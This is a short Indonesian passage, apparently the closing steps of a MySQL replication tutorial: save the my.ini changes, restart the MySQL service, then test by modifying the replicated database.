Bila sudah simpan perubahan pada file my.ini, lalu lakukan restart service mysqlnya seperti pada gambar 2.
Silakan di testing dengan membuat atau memodifikasi pada database yang dijadikan replikasi.
Mohon dikoreksi bila ada yang salah.